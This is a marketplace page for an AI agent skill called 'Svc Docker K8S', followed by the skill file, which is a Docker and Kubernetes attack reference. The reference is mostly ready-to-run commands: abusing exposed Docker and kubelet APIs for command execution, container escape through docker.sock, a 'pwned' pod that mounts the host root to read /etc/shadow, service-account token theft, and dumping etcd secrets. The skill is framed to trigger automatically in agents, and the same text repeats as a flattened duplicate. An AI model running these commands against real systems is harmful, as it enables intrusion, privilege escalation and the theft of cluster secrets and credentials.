How do I install the Svc Docker K8S skill?

Run npx skillmds@latest add s0ld13rr/svc-docker-k8s in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Svc Docker K8S safe to use?

This skill has not completed SkillMD's automated safety review yet. Capability flags: makes network calls, reads secrets. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Svc Docker K8S?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Svc Docker K8S free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Svc Docker K8S?

s0ld13rr (@s0ld13rr) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Svc Docker K8S by s0ld13rr — Agent Skill

Name: Svc Docker K8S
Rating: 4.2 (5 reviews)
Author: s0ld13rr

Svc Docker K8S

Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock.

s0ld13rr Updated Sep 22, 2026

File contents

Docker & Kubernetes Attack Reference

Docker API (2375/2376)

# Check for exposed Docker daemon
curl http://<target>:2375/version
curl http://<target>:2375/containers/json

# RCE via container creation
curl -X POST http://<target>:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'

# Then start and read logs
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true

Container Escape

# Check if inside container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv

# Privileged container escape
fdisk -l                           # can see host disks?
mount /dev/sda1 /mnt && chroot /mnt

# Docker socket mounted
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt

# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container

Kubernetes API (6443/8443)

# Unauthenticated access
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version

# With token (from pod service account)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets

# kubelet API (10250)
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"

K8s RBAC Abuse

# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods

# Pod with host mount (if create pods allowed)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow"]
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
EOF

etcd (2379)

# Unauthenticated etcd — contains all K8s secrets
etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix

---name: svc-docker-k8sdescription: Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock.---# Docker & Kubernetes Attack Reference## Docker API (2375/2376)```bash# Check for exposed Docker daemoncurl http://<target>:2375/versioncurl http://<target>:2375/containers/json# RCE via container creationcurl -X POST http://<target>:2375/containers/create \ -H "Content-Type: application/json" \ -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'# Then start and read logscurl -X POST http://<target>:2375/containers/<id>/startcurl http://<target>:2375/containers/<id>/logs?stdout=true```## Container Escape```bash# Check if inside containercat /proc/1/cgroup | grep -i dockerls -la /.dockerenv# Privileged container escapefdisk -l # can see host disks?mount /dev/sda1 /mnt && chroot /mnt# Docker socket mountedls -la /var/run/docker.sockdocker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container```## Kubernetes API (6443/8443)```bash# Unauthenticated accesscurl -k https://<target>:6443/apicurl -k https://<target>:6443/api/v1/namespacescurl -k https://<target>:6443/api/v1/podscurl -k https://<target>:8443/version# With token (from pod service account)TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets# kubelet API (10250)curl -k https://<target>:10250/podscurl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"```## K8s RBAC Abuse```bash# Check permissionskubectl auth can-i --listkubectl auth can-i create pods# Pod with host mount (if create pods allowed)kubectl apply -f - <<EOFapiVersion: v1kind: Podmetadata: name: pwnedspec: containers: - name: pwned image: alpine command: ["/bin/sh","-c","cat /host/etc/shadow"] volumeMounts: - mountPath: /host name: hostfs volumes: - name: hostfs hostPath: path: /EOF```## etcd (2379)```bash# Unauthenticated etcd — contains all K8s secretsetcdctl --endpoints=http://<target>:2379 get / --prefix --keys-onlyetcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix```

Frequently asked questions